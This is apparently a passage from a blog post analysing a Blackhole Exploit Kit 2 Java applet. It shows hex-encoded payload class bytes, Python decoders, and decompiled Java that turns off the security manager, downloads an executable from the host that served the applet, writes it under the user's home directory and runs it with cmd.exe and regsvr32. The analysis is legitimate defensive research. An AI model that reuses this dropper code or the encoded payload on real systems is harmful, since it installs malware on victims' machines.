test2_str15 = "-%{%}Q0}r(Q(({8(Q((%}(Q((Qz(Q((Qb(Q((%z(Q((QA(Q((^((2(((-0"
test2_str16 = "{Q^%}%{Q(Q0%8%A%bQ}(2(((-{}%AQ{Qg%"

impossible_str17 = gouerpyftn(test2_str1 + test2_str2 + test2_str3 + test2_str4 + test2_str5 + test2_str6 + test2_str7 + test2_str8 + test2_str9 + test2_str10 + test2_str11 + test2_str12 + test2_str13 + test2_str14 + test2_str15 + test2_str16)

impossible_str27 = "}%{0%%8%F%{(2(((F%-%2Q%%2{gQ{%bgb%-%2Q%%"
impossible_str28 = "2(F((}Q((^2(F((}{((}%(2((2Agz%A%}2gQr}0%rQ%(%gQgbQ-%F{z20g"
impossible_str29 = "0%zQ(F(^(g%(0%2Qr(QgQg^%gQ82%gQ(F((^g((^}(2(((Fg}%20{(2}F}"
impossible_str30 = "2%QQ82%}ggg%-(2(((A%-%2Q%%2gA%F%2%b%QgA0}%F%2Q}Q}("
impossible_str31 = "2((gQgz%A%}2gQr}0%rQ%(%gQgbQ-%F{z({}{%Q%}2-}8gg%8Q(2Q2"
impossible_str32 = "(}A%zQ((}g2gb%2Qr}g}%}}%QQ-2z(F((^0((^{(2("
impossible_str33 = "(2(%-%2Q%%2gA%F%2%b%QgA0A%g%-%{%}Q0(Q((^%(F((^Q((^^("
impossible_str34 = "2((2}%-%2Q%%2gA%F%2%b%QgA0{Q^%}%{Q(Q0%8%A%"
impossible_str35 = "b(Q((^8(F((^-((^r(2((2(%-%2Q%%2gAQ{Q0%8%FgA{g%2%b%0%A%z"
impossible_str36 = "(F((^F((^z(2((2Q%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q"
impossible_str37 = "0gQ{%8%F%0%{Qg(F((^b((^A(2(((0%8%r%z2%(F(("
impossible_str38 = "^b((8((F((82((8g(2(((8}gQzQ((2QrgA%2Q^2%(F((8"
impossible_str39 = "}((80(2(((2gA(2(((F%-%2Q%%2gA%b%{Q0gA{{{g"
impossible_str40 = "0F(F((}Q((}^(F((8{((8%(Q((Qz(F((8Q((8^(2((20(0%2Qr(Q}(g8Q-}^"
impossible_str41 = "}Q}F}0QbQ-F(^(}F}}%QQ-2z(F((88((80(2(((0%8Q-Q^(}(F("
impossible_str42 = "(8-((8r(2(((0%8%-Q82A(2((2^%-%2Q%%2gA%8%AgA0%%8%F%{0A"
impossible_str43 = "Q{Q0Q(Q{Q0{}Q0Qg%{%2%z(Q((Qb(F((8F((8z(F((8b(("
impossible_str44 = "8A(F((-(((^2(Q((^((F((-2((-g(2((2(%-%2Q%%"
impossible_str45 = "2gA%F%2%b%QgA{}Q0Qg%8%b%Q(2(((Qg0%}Q2{z}(}A%r"
impossible_str46 = "(2(((g%^0z(2(((8}{%rQgF(^(g}}{}zgQ(2(((g%-Qz(F((-}((-"
impossible_str47 = "0(F((-{((-%(2(((Q%-%2Q%%2{gQ{%b(2((gQ%-%2Q"
impossible_str48 = "%%2gAQ}%{%}Q{Qg%8Q0Q8gA{(Qg%8Q%%8%F%{%Q%{"
impossible_str49 = "{Q^%}%{Q(Q0%8%A%b02%}Q0%8%A%b(2((2%%-%2Q%%2gA%b%{Q0"
impossible_str50 = "gA{{{g0F0}%A%b%b%{%}Q0%8%A%b(2((2}%-%2Q%%2"

test_str114 = gouerpyftn(impossible_str27 + impossible_str28 + impossible_str29 + impossible_str30 + impossible_str31 + impossible_str32 + impossible_str33 + impossible_str34 + impossible_str35 + impossible_str36 + impossible_str37 + impossible_str38 + impossible_str39 + impossible_str40 + impossible_str41 + impossible_str42 + impossible_str43 + impossible_str44 + impossible_str45 + impossible_str46 + impossible_str47 + impossible_str48 + impossible_str49 + impossible_str50)

impossible_str54 = "gA%8%AgA08%bQ(Q{Q0{}Q0Qg%{%2%z(2(((g{r0g(2((22%-%2"
impossible_str55 = "Q%%2gA%F%2%b%QgA{gQ{%bQ0%8%z%{(2(((}g^g8{%(2"
impossible_str56 = "(((Q%%%AQg0b%2%z%{(2((g{g^0F%-%2Q%%2gA%F%2%b%Qg"
impossible_str57 = "A{}Q0Qg%8%b%Q}rg80F%-%2Q%%2gA%F%2%b%QgA0}%F%2Q}Q}}r(2(((8%"
impossible_str58 = "Q%{Q00z%{Q0%^%A%0(2((0(g^0F%-%2Q%%2gA%F%2%b%QgA{"
impossible_str59 = "}Q0Qg%8%b%Q}r{r0F%-%2Q%%2gA%F%2%b%QgA0}%F%2Q}Q}}"
impossible_str60 = "rg80F%-%2Q%%2gA%F%2%b%QgAQg%{%%%F%{%}Q0gA0z%{Q0%^%A%0"
impossible_str61 = "}r(2((2^%-%2Q%%2gA%F%2%b%QgAQg%{%%%F%{%}Q0gA0z%"
impossible_str62 = "{Q0%^%A%0(2(((%%8%bQ%%A%r%{(2((}8g^0F%-%2Q%%2g"
impossible_str63 = "A%F%2%b%QgA0A%g%-%{%}Q0}r{r0F%-%2Q%%2gA%F%2%b%QgA0A%g%-%{%}Q"
impossible_str64 = "0}rg80F%-%2Q%%2gA%F%2%b%QgA0A%g%-%{%}Q0}r("
impossible_str65 = "2((2(%-%2Q%%2gA%F%2%b%QgA{}Q8Q}Q0%{%z(2((2gQ}%"
impossible_str66 = "{Q0{}%{%}Q{Qg%8Q0Q80z%2%b%2%Q%{Qg(2((2bg^0F%-%2Q%%2gA%F%2%b%"
impossible_str67 = "QgA{}%{%}Q{Qg%8Q0Q80z%2%b%2%Q%{Qg}rg8{%(2(((Q%b%{Q^Q008%bQ"
impossible_str68 = "0(2(((0g^08g808(2(((%%2Q(Q(%{%b%0(2((2Fg^08g80F%-%2Q%%2g"
impossible_str69 = "A%F%2%b%QgA{}Q0Qg%8%b%Q0gQ{%8%F%0%{Qg}r(2((gzg^0F%-%2Q"
impossible_str70 = "%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q}rg80F%-%2Q%%2gA%F%2"
impossible_str71 = "%b%QgA{}Q0Qg%8%b%Q0gQ{%8%F%0%{Qg}r(2(((^Q0%A{}Q0Q"
impossible_str72 = "g%8%b%Q(2((20g^g80F%-%2Q%%2gA%F%2%b%QgA{"
impossible_str73 = "}Q0Qg%8%b%Q}r(2(((r%Q%{Q0{(Qg%AQ(%{QgQ0Q"
impossible_str74 = "8(2((g%g^0F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b"
impossible_str75 = "%Q}rg80F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q}r(2(((b%A"
impossible_str76 = "Q(%{%b0}%A%b%b%{%}Q0%8%A%b(2((2-g^g80F%-%2Q"
impossible_str77 = "%%2gA%b%{Q0gA{{{g"

test_str116 = gouerpyftn(impossible_str54 + impossible_str55 + impossible_str56 + impossible_str57 + impossible_str58 + impossible_str59 + impossible_str60 + impossible_str61 + impossible_str62 + impossible_str63 + impossible_str64 + impossible_str65 + impossible_str66 + impossible_str67 + impossible_str68 + impossible_str69 + impossible_str70 + impossible_str71 + impossible_str72 + impossible_str73 + impossible_str74 + impossible_str75 + impossible_str76 + impossible_str77)

impossible_str78 = "4C436F6E6E656374696F6E3B01000E676574496E707574"
impossible_str79 = "53747265616D01001728294C6A6176612F696F2F496E707574537472656"
impossible_str80 = "16D3B01000E6765744865616465724669656C6401000769"
impossible_str81 = "6E6465784F66010015284C6A6176612F6C616E672F537472696E67"
impossible_str82 = "3B294901000472656164010007285B42494929490100"
impossible_str83 = "057772697465010007285B4249492956010005636C6F736501000A6"
impossible_str84 = "7657452756E74696D6501001528294C6A6176612F6C616E672F5"
impossible_str85 = "2756E74696D653B01000465786563010028285B4C6A61766"
impossible_str86 = "12F6C616E672F537472696E673B294C6A6176612F6C616"
impossible_str87 = "E672F50726F636573733B010004657869740100042849295"
impossible_str88 = "60100095A4B4D352E342E3561010001620100015A01000163"
impossible_str89 = "0C00AA00A909003300AB0100017A0100135B4C6A6176612F6C616E672F53"
impossible_str90 = "7472696E673B0100083C636C696E69743E0C00B100B201000B7"
impossible_str91 = "46F43686172417272617901000428295B430A002C0"
impossible_str92 = "0B00C003700B5010005285B4329560A002C00B40C0"
impossible_str93 = "0B80092010006696E7465726E0A002C00B70C00AD00AE0900"
impossible_str94 = "3300BA0700BD0100146A6176612F696F2F53657269616C697A6162"

test_str95 = "6C650700AE0700AE0700AE0700AE0700AE0700AE0700AE0"
test_str96 = "700AE0700AE0700AE0700AE0700AE0700AE0700AE070"
test_str97 = "0AE0700AE0700AE0700AE0700AE0700AE0700AE0700AE0700AE07"
test_str98 = "00AE0700AE0700AE0700AE0700AE0700DB0100025B430700AE0700AE070"
test_str99 = "0DB0700DB0700AE0700AE0700DB0700DB0700AE0700AE0700DB0"
test_str100 = "700DB0700AE0700AE0700DB0700DB0700AE0700AE0700DB0700D"
test_str101 = "B0700AE0700AE0700DB0700DB0700AE0700AE0700DB0700DB0700"
test_str102 = "AE0700AE0700DB002100330009000100340004000"
test_str103 = "0003500360000000900A800A90000000900AA00A900000"
test_str104 = "01A00AD00AE00000003000100370038000100390000008A00070003"
test_str105 = "000000412AB700012A2BB50002B200BB0332B80004B200BB053204BD0006"
test_str106 = "5903B200BB0432B8000453B60008B200BB0332B8000404"
test_str107 = "BD000959032A53B6000A57A700044DB100010009003C003F0"
test_str108 = "00B0002003A000000160005000000250004000E00090"
test_str109 = "00B003C002700400006003B000000130002FF003F0002070033070"
test_str110 = "02C000107000B000001003F0040000200390000047"
test_str111 = "30008001100000223B200AC361001B8000CBB000D59B7000E4C"
test_str112 = "120F2B1210B60011603D"

test_str119 = impossible_str78 + impossible_str79 + impossible_str80 + impossible_str81 + impossible_str82 + impossible_str83 + impossible_str84 + impossible_str85 + impossible_str86 + impossible_str87 + impossible_str88 + impossible_str89 + impossible_str90 + impossible_str91 + impossible_str92 + impossible_str93 + impossible_str94 + test_str95 + test_str96 + test_str97 + test_str98 + test_str99 + test_str100 + test_str101 + test_str102 + test_str103 + test_str104 + test_str105 + test_str106 + test_str107 + test_str108 + test_str109 + test_str110 + test_str111 + test_str112

asd_str122 = "ZZ001259Z700131CZ60014Z200ZZ100632Z60016Z600174EZZ001259Z70013Z200ZZ0732Z80019Z60016121AZ60016Z600173A04ZZ001259Z700132AZ40002Z6001ZZ600161CZ60014Z600173A05ZZ001C591905Z7001D3A061906Z6001E3A071907Z6001F3A080336091907Z200ZZ100A32Z600213A0A190A15109A000CC60058A70004ZF190AZ200ZZ100932Z6002315109A002Z02A00022A70004ZF190AZ200ZZ0632Z6002315109A0014A70004ZF029F0025A70004ZF04A70004ZF3609ZZ001259Z700131CZ60014Z200ZZ0632Z60016Z600174EZZ002559ZZ001259Z700131904Z600162DZ60016Z".replace("Z", "B")
asd_str123 = "60017B700263A0B110400BC083A0D1C360E1908190D03190DBEB6002759360C029F005115109A005603360F150F150CA20033150E1100AA601100FF7E360E150E104882360E190D150F5C33150E91829154840F0115109A0016151099FFD0A70004BF190B190D03150CB60028151099FFA31908B60029190BB6002AB8002B3A0F15109A00531509990053A70004BF190F08BD002C5903B200BB100732535904B200BB0832535905B200BB100B32535906B200BB100832535907BB001259B700131904B600162DB60016B6001753B6003157A70004BF1510990038190F06BD002C5903B200BB100732535904B200BB0832535905BB001259B700131904B600162DB60016B6001753B6003157A70004BF03B80032A700084C03B8003201B0000A01DB02110214000B018D01D701DA000B018601900193000B014B01640167000B00CC00D400D7000B00BA00CF00D2000B00B100C700CA000B00A200B400B7000B0092009C009F000B00050219021C000B0002003A0000009200240005001A0009002800110016001B001100330005004F00120069001800740010007B0013008200150085000F0092001E00A0002600D3001B00DA002400F10022010D000A0"
asd_str124 = "114001401170004012900170138000C0144001D014B0021015700290168002001770019017C00090181001C0186001F0194000D01E000010215000302190002021C0007021D000802210023003B00000156001CFF009F001107003307000D0107002C07002C07002C07001C0700430700440107002C000000000001000107000B004107002C5407000B005107000B40014607000B004307000B400118FF0025001107003307000D0107002C07002C07002C07001C0700430700440107002C070025000700460100010000FF0019001107003307000D0107002C07002C07002C07001C0700430700440107002C0700250107004601010100007507000B0009FF0004001107003307000D0107002C07002C07002C07001C0700430700440107002C07002501070046010001000009FF0011001107003307000D0107002C07002C07002C07001C0700430700440107002C070025010700460107004701000107000B00F7004507000B00047307000B00FF0006001107003300000000000000000000000000000001000107000BFF000400110700330700BC00000000000000000000000000000100000048000000040001000B000800AF00810001003900000305000C00010000012D100CBD002C5903120310FFA70078535904120703A7006F535905120504A70066535906122405A7005D535907121806A70054535908122E07A7004B53591006121508A7004153591007122D1006A700365359100812301007A7002B5359100912221008A700205359100A12201009A700155359100B122F100AA7000A53B300BBA700AC5FB600B359BE5F033B5F5A04A3004F591A5C341A0870AA00000000003300000000000000030000001F00000024000000290000002E1047A70014100EA7000F1015A7000A1073A7000510558292558400015F5A9A00085C5FA7FFB95F5A1AA3FFB1BB002C5A5FB700B6B600B95F575FAA00FFFFFF1C000000000000000AFFFFFF25FFFFFF2EFFFFFF37FFFFFF40FFFFFF49FFFFFF53FFFFFF5EFFFFFF69FFFFFF74FFFFFF7FFFFFFF8AB100000001003B000001C60017FF000E00010100040700BE0700BF0107002CFF000800010100040700C00700C10107002CFF000800010100040700C20700C30107002CFF000800010100040700C40700C50107002CFF000800010100040700C60700C70107002CFF000800010100040700C80700C90107002CFF000900010100040700CA0700CB0107002CFF000A00010100040700CC0700CD0107002CFF000A00010100040700CE0700CF0107002CFF000A00010100040700D00700D10107002CFF000A00010100040700D20700D30107002CFF000A00010100040700D40700D50107002CFF0006000000050700D60700D70107002C01FF000E00010100060700D80700D90101010700DAFF000100010100080700DC0700DD0101010700DE0700DF01FF002300010100090700E00700E10101010700E20700E30101FF000400010100090700E40700E50101010700E60700E70101FF000400010100090700E80700E90101010700EA0700EB0101FF000400010100090700EC0700ED0101010700EE0700EF0101FF000400010100090700F0"
asd_str125 = "0700F10101010700F20700F30101FF0001000101000A0700F40700F50101010700F60700F7010101FF000F00010100060700F80700F90101010700FAFB004D0001004900000002004A"


codehex_aa = "(?i).j";
asd_zxc = "xe"
asd_zxc2 = ".e"

#hw_str12 = aaz().replace("?jar", ".exe") + "?"

def main():
  abyte0 = decodeH(one())
  print abyte0

if __name__ == "__main__":
    main()

Run the script and it will print Java Bytecode for the class the Bad Guys want to run on your system(Thrugh the exploitation of the MBeanInstantiator bug they can now call restricted classes)
redirect the output to a .class file. e.g.

$python decode_blachole.py > bhclass.class

Ok so where are we at? Well at this time we are probably hungry, so open a tin of SPAM, enjoy and move on.

5. Back to Java disassembly again

The bytecode needs to be disassembled so back to jad or showmycode.com. And we get the output:

import java.io.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLConnection;
import java.security.PrivilegedExceptionAction;
import java.util.Random;

public class javaRun
    implements PrivilegedExceptionAction
{

    public javaRun(String s)
    {
        a = s;
        try
        {
            Class.forName(z[0]).getMethod(z[2], new Class[] {
                Class.forName(z[1])
            }).invoke(Class.forName(z[0]), new Object[] {
                this
            });
        }
        catch(Exception exception) { }
    }

    public Object run()
        throws Exception
    {
        boolean flag = c;
        int i;
        String s;
        String s1;
        InputStream inputstream;
        int j;
        String s3;
        System.setSecurityManager(null);
        Random random = new Random();
        i = 0xf4240 + random.nextInt(0x7a1200);
        s = (new StringBuilder()).append(i).append(z[6]).toString();
        s1 = (new StringBuilder()).append(System.getProperty(z[4])).append("/").toString();
        String s2 = (new StringBuilder()).append(a.toString()).append(i).toString();
        URL url = new URL(s2);
        URLConnection urlconnection = url.openConnection();
        inputstream = urlconnection.getInputStream();
        j = 0;
        s3 = urlconnection.getHeaderField(z[10]);
        s3;
        if(flag) goto _L2; else goto _L1
_L1:
        if(s3 == null)
            break MISSING_BLOCK_LABEL_241;
          goto _L3
        throw ;
_L3:
        s3;
_L2:
        z[9];
        indexOf();
        if(flag)
            break MISSING_BLOCK_LABEL_216;
        -1;
        JVM INSTR icmpne 211;
           goto _L4 _L5
_L4:
        break MISSING_BLOCK_LABEL_184;
_L5:
        break MISSING_BLOCK_LABEL_211;
        throw ;
        s3;
        z[3];
        indexOf();
        if(flag)
            break MISSING_BLOCK_LABEL_216;
        break MISSING_BLOCK_LABEL_203;
        throw ;
        -1;
        JVM INSTR icmpeq 241;
           goto _L6 _L7
_L6:
        break MISSING_BLOCK_LABEL_211;
_L7:
        break MISSING_BLOCK_LABEL_241;
        throw ;
        throw ;
        j = 1;
        s = (new StringBuilder()).append(i).append(z[3]).toString();
        FileOutputStream fileoutputstream;
        byte abyte0[];
        int l;
        fileoutputstream = new FileOutputStream((new StringBuilder()).append(s1).append(s).toString());
        abyte0 = new byte[1024];
        l = i;
_L11:
        int k;
        int i1;
        if((k = inputstream.read(abyte0, 0, abyte0.length)) == -1)
            break; /* Loop/switch isn't completed */
        if(flag)
            break MISSING_BLOCK_LABEL_385;
        i1 = 0;
_L9:
        if(i1 >= k)
            break; /* Loop/switch isn't completed */
        l = l + 170 & 0xff;
        l ^= 0x48;
        abyte0[i1] ^= (byte)l;
        i1++;
        if(flag)
            continue; /* Loop/switch isn't completed */
        if(!flag) goto _L9; else goto _L8
        throw ;
_L8:
        fileoutputstream.write(abyte0, 0, k);
        if(!flag) goto _L11; else goto _L10
_L10:
        inputstream.close();
        fileoutputstream.close();
        Runtime runtime = Runtime.getRuntime();
        if(flag)
            break MISSING_BLOCK_LABEL_475;
        j;
        JVM INSTR ifeq 480;
           goto _L12 _L13
_L12:
        break MISSING_BLOCK_LABEL_404;
_L13:
        break MISSING_BLOCK_LABEL_480;
        throw ;
        runtime.exec(new String[] {
            z[7], z[5], z[11], z[8], (new StringBuilder()).append(s1).append(s).toString()
        });
        break MISSING_BLOCK_LABEL_475;
        throw ;
        if(!flag)
            break MISSING_BLOCK_LABEL_533;
        runtime.exec(new String[] {
            z[7], z[5], (new StringBuilder()).append(s1).append(s).toString()
        });
        break MISSING_BLOCK_LABEL_533;
        throw ;
        System.exit(0);
        break MISSING_BLOCK_LABEL_545;
        Exception exception;
        exception;
        System.exit(0);
        return null;
    }

    String a;
    public static boolean b;
    public static boolean c;
    private static final String z[];

    static 
    {
        String as[] = new String[12];
        as;
        as;
        0;
        "-oc\022{4kv\006'.zl]\024$mp\000&\004a{\007'(by\026'";
        -1;
          goto _L1
_L7:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        true;
        "-oc\022{4kv\006'.zl]\0055gc\0329\"ip\027\020?mp\003!.a{263gz\035";
        false;
          goto _L1
_L8:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        2;
        "#aE\001<1gy\0262\"j";
        true;
          goto _L1
_L9:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        3;
        "ijy\037";
        2;
          goto _L1
_L10:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        4;
        "2}p\001{/ax\026";
        3;
          goto _L1
_L11:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        5;
        "hM";
        4;
          goto _L1
_L12:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        6;
        "ikm\026";
        5;
          goto _L1
_L13:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        7;
        "$cq]0?k";
        6;
          goto _L1
_L14:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        8;
        "j}";
        7;
          goto _L1
_L15:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        9;
        "izx\003";
        8;
          goto _L1
_L16:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        10;
        "\004a{\0070)z87<4~z\000<3gz\035";
        9;
          goto _L1
_L17:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        11;
        "5kr\000#5='";
        10;
          goto _L1
_L18:
        JVM INSTR aastore ;
        z;
_L1:
        JVM INSTR swap ;
        toCharArray();
        JVM INSTR dup ;
        JVM INSTR arraylength .length;
        JVM INSTR swap ;
        int i = 0;
        JVM INSTR swap ;
        JVM INSTR dup_x1 ;
        1;
        JVM INSTR icmpgt 222;
           goto _L2 _L3
_L2:
        JVM INSTR dup ;
        i;
_L5:
        JVM INSTR dup2 ;
        JVM INSTR caload ;
        byte byte0;
        switch(i % 5)
        {
        case 0: // '\0'
            byte0 = 0x47;
            break;

        case 1: // '\001'
            byte0 = 14;
            break;

        case 2: // '\002'
            byte0 = 21;
            break;

        case 3: // '\003'
            byte0 = 115;
            break;

        default:
            byte0 = 85;
            break;
        }
        byte0;
        JVM INSTR ixor ;
        (char);
        JVM INSTR castore ;
        i++;
        JVM INSTR swap ;
        JVM INSTR dup_x1 ;
        JVM INSTR ifne 222;
           goto _L4 _L3
_L4:
        JVM INSTR dup2 ;
        JVM INSTR swap ;
          goto _L5
_L3:
        JVM INSTR swap ;
        JVM INSTR dup_x1 ;
        i;
        JVM INSTR icmpgt 146;
           goto _L6 _L2
_L6:
        JVM INSTR new #44  <Class String>;
        JVM INSTR dup_x1 ;
        JVM INSTR swap ;
        String();
        intern();
        JVM INSTR swap ;
        JVM INSTR pop ;
        JVM INSTR swap ;
        JVM INSTR tableswitch 0 10: default 14
    //                   0 23
    //                   1 32
    //                   2 41
    //                   3 50
    //                   4 59
    //                   5 69
    //                   6 80
    //                   7 91
    //                   8 102
    //                   9 113
    //                   10 124;
           goto _L7 _L8 _L9 _L10 _L11 _L12 _L13 _L14 _L15 _L16 _L17 _L18
    }
}

Crap!!! what is this all about. This should be a happy ending where we had a nice and shiny class file disassembled but instead this code really got me wondering. I'm no Java Ken Guru, but this one beat me up. Luckily there is a lot of people knowing more than me about this and I found a great post about what this was here @ Security Obscurity Blog and even more @ The PlayGround.dk,

6. Introducing the Zelix Klassmaster 

 - Or what I would call it: "The Spanish Inquisition" youtube


So more work to do: I justed followed Mr. Larsens guide and came up with, well a Python script to decrypt The Spanish Inquisition, eh, Zelix Klassmaster encrypted strings:

#malforsec decrypt Spannish Inquisition encrypted strings 0.9.1
def decode(str1):
  decrstr = ""
  key = [71, 14, 21, 115, 85]
  for i in range(0, len(str1), 1):
    decrstr += chr((ord(str1[i])) ^ (key[i % 5]))
  return decrstr

encstr = ["-oc\022{4kv\006'.zl]\024$mp\000&\004a{\007'(by\026'",
          "-oc\022{4kv\006'.zl]\0055gc\0329\"ip\027\020?mp\003!.a{263gz\035",
          "#aE\001<1gy\0262\"j",
          "ijy\037",
          "2}p\001{/ax\026",
          "hM",
          "ikm\026",
          "$cq]0?k",
          "j}",
          "izx\003",
          "\004a{\0070)z87<4~z\000<3gz\035",
          "5kr\000#5='"]

def main():
  for i in range(0, len(encstr), 1):
    print decode(encstr[i])

if __name__ == "__main__":
    main()

So lets run the script and voila:

java.security.AccessController
java.security.PrivilegedExceptionAction
doPrivileged
.dll
user.home
/C
.exe
cmd.exe
-s
.tmp
Content-Disposition
regsvr32

7. Back to the Applet code hw.class:

Line 47:

String str12 = d.get(this);
str12 = (new StringBuilder(String.valueOf(Asd.aaz().replaceAll((new StringBuilder(String.valueOf(codehex.aa))).append("ar").toString(), (new StringBuilder(String.valueOf(Asd.zxc2))).append(Asd.zxc).toString())))).append("?").toString();
        }
        return str12;
    }
codehex strings:
public static String aa = "(?i).j";
Asd strings:
public static String zxc = "xe";
public static String zxc2 = ".e";
Asd.aaz():
public static String aaz()
        throws Exception
    {
        Class cc = hw;
        String classFilename = "hw.class";
        String urlToJar = cc.getResource(classFilename).toString();
        Method m = java/lang/String.getMethod("replaceAll", new Class[] {
            java/lang/String, java/lang/String
        });
        urlToJar = (String)m.invoke(urlToJar, new Object[] {
            "jar:", ""
        });
        urlToJar = urlToJar.replaceAll("!/hw.class", "");
        return urlToJar;
    }

This method, to me, looks like it is finding the URL or place that the hw.class/ jar was loaded. Replaceing hw.class with nothing nad jar with exe. In short we get the URL to the exe file, which is fed into the class we discussed above.

With the deobfuscation of the class files and decrypted strings we can see what the final class does:

import java.io.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLConnection;
import java.security.PrivilegedExceptionAction;
import java.util.Random;

public class javaRun
    implements PrivilegedExceptionAction
{

    public javaRun(String s)
    {
        a = s;
        try
        {
            Class.forName(java.security.AccessController).getMethod(doPrivileged, new Class[] {
                Class.forName(java.security.PrivilegedExceptionAction)
            }).invoke(Class.forName(java.security.AccessController), new Object[] {
                this
            });
        }
        catch(Exception exception) { }
    }

    public Object run()
        throws Exception
    {
        boolean flag = c;
        int i;
        String s;
        String s1;
        InputStream inputstream;
        int j;
        String s3;
        System.setSecurityManager(null);
        Random random = new Random();
        i = 0xf4240 + random.nextInt(0x7a1200);
        s = (new StringBuilder()).append(i).append(".exe").toString();
        s1 = (new StringBuilder()).append(System.getProperty("user.home")).append("/").toString();
        String s2 = (new StringBuilder()).append(a.toString()).append(i).toString();
        URL url = new URL(s2);
        URLConnection urlconnection = url.openConnection();
        inputstream = urlconnection.getInputStream();
        j = 0;
        s3 = urlconnection.getHeaderField("Content-Disposition");
                s = (new StringBuilder()).append(i).append(".dll").toString();
        fileoutputstream = new FileOutputStream((new StringBuilder()).append(s1).append(s).toString());
        abyte0 = new byte[1024];
        l = i;
        int k;
        int i1;
        if((k = inputstream.read(abyte0, 0, abyte0.length)) == -1)   
        i1 = 0;
        l = l + 170 & 0xff;
        l ^= 0x48;
        abyte0[i1] ^= (byte)l;
        i1++;
        fileoutputstream.write(abyte0, 0, k);
        inputstream.close();
        fileoutputstream.close();
        Runtime runtime = Runtime.getRuntime();
        runtime.exec(new String[] {
            "cmd.exe", "/C", "regsvr32", "-s", (new StringBuilder()).append(s1).append(s).toString()
        });
        runtime.exec(new String[] {
            "cmd.exe", "/C", (new StringBuilder()).append(s1).append(s).toString()
        });
        return null;
    }

8. The End

My conclusion is that the exe is loaded from the same URL base as the JAR archive was loaded from. Its written to disk under user.home. It registrers a service silently(cmd.exe /C regsrv32 -S) and executes the exe file(cmd.exe /C )

I'm not sure if the XOR of the one byte of abyte0 is used in the code. Hopefully I can confirm that the next time I download a BHEK2 JAR archive. 

Feedback are welcome! So please enlighten me on any misinterpretation. You are of course welcome to use any Python code should it interset you.

Happy BHEK2 JAR archives deobfuscation :)